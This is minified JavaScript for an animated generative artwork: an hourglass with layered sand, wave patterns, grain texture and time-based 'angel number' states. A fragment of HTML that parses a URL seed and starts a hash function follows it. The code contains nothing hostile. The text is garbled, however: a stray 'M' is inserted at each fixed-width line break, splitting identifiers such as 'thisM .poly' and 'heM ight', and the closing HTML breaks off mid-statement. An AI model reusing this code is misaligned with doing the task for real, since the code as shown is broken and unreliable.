t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
